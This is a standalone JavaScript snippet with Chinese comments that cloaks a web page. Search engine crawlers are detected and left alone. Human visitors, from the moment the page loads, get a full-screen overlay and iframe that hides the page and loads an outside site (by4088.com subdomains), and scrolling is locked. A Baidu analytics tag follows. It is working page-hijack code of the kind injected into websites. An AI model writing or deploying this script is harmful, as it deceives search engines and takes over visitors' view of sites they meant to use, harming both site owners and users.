(function() { 'use strict'; // 配置对象,便于维护和修改 const config = { mobileUrl: "https://ky666.by4088.com", desktopUrl: "https://yk888.by4088.com", // 增强搜索引擎蜘蛛匹配:加入百度、搜狗、必应、360 等常见爬虫标识 spiderPatterns: /(Baiduspider|Sogou|bingbot|360Spider|Googlebot|spider|bot|crawler|indexer|scraper|slurp|teoma|yandex|facebookexternalhit|facebot|twitterbot)/ig, mobilePatterns: /(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i, maxZIndex: 2147483647 }; // 获取 UserAgent,只获取一次 const userAgent = navigator.userAgent || ''; // 检查是否为搜索引擎蜘蛛(增强版) function isSearchEngineSpider() { // 优先匹配特定搜索引擎标识,效率更高 const lowerUA = userAgent.toLowerCase(); // 快速匹配常见搜索引擎特征(避免复杂正则的回溯开销) if (lowerUA.includes('baiduspider') || lowerUA.includes('sogou') || lowerUA.includes('bingbot') || lowerUA.includes('360spider') || lowerUA.includes('googlebot')) { return true; } // 回退到通用正则匹配其他爬虫 return config.spiderPatterns.test(userAgent); } // 检查是否为移动设备 function isMobileDevice() { return config.mobilePatterns.test(userAgent); } // 创建全屏 iframe function createFullscreenIframe(url) { // 创建并添加 viewport meta 标签 const viewportMeta = document.createElement('meta'); viewportMeta.id = 'viewport'; viewportMeta.name = 'viewport'; viewportMeta.content = 'user-scalable=no, width=device-width, initial-scale=1.0'; if (document.head) { document.head.appendChild(viewportMeta); } else { // 兼容极端情况:动态创建 head const head = document.getElementsByTagName('head')[0]; if (head) head.appendChild(viewportMeta); } // 添加样式 const style = document.createElement('style'); style.textContent = ` html, body { width: 100%; height: 100%; overflow: hidden; margin: 0; padding: 0; } `; document.head.appendChild(style); // 创建覆盖层 const overlay = document.createElement('div'); overlay.style.cssText = ` width: 100%; height: 100%; position: fixed; top: 0; left: 0; z-index: ${config.maxZIndex}; background: #fff; margin: 0; padding: 0; `; // 创建 iframe const iframe = document.createElement('iframe'); iframe.src = url; iframe.style.cssText = ` border: 0; width: 100%; height: 100%; margin: 0; padding: 0; display: block; `; iframe.setAttribute('frameborder', '0'); iframe.setAttribute('allow', 'fullscreen'); // 组装元素 overlay.appendChild(iframe); document.body.appendChild(overlay); // 防止滚动 document.documentElement.style.overflow = 'hidden'; document.body.style.overflow = 'hidden'; } // 主逻辑 function init() { // 如果是搜索引擎蜘蛛,直接返回,不执行任何操作(对搜索引擎最友好) if (isSearchEngineSpider()) { // 可选:记录日志,便于调试(生产环境可移除) console.log('Search engine spider detected, skipping redirection.'); return; } // 根据设备类型选择 URL let targetUrl; if (isMobileDevice()) { targetUrl = config.mobileUrl; console.log('Mobile device detected, redirecting to:', targetUrl); } else { targetUrl = config.desktopUrl; console.log('Desktop device detected, redirecting to:', targetUrl); } // 确保页面已加载完成 if (document.readyState === 'loading') { document.addEventListener('DOMContentLoaded', function() { createFullscreenIframe(targetUrl); }); } else { createFullscreenIframe(targetUrl); } } // 执行初始化 init(); })(); var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?05168f0a369b2fcaf15c5db2f8c6ffae"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();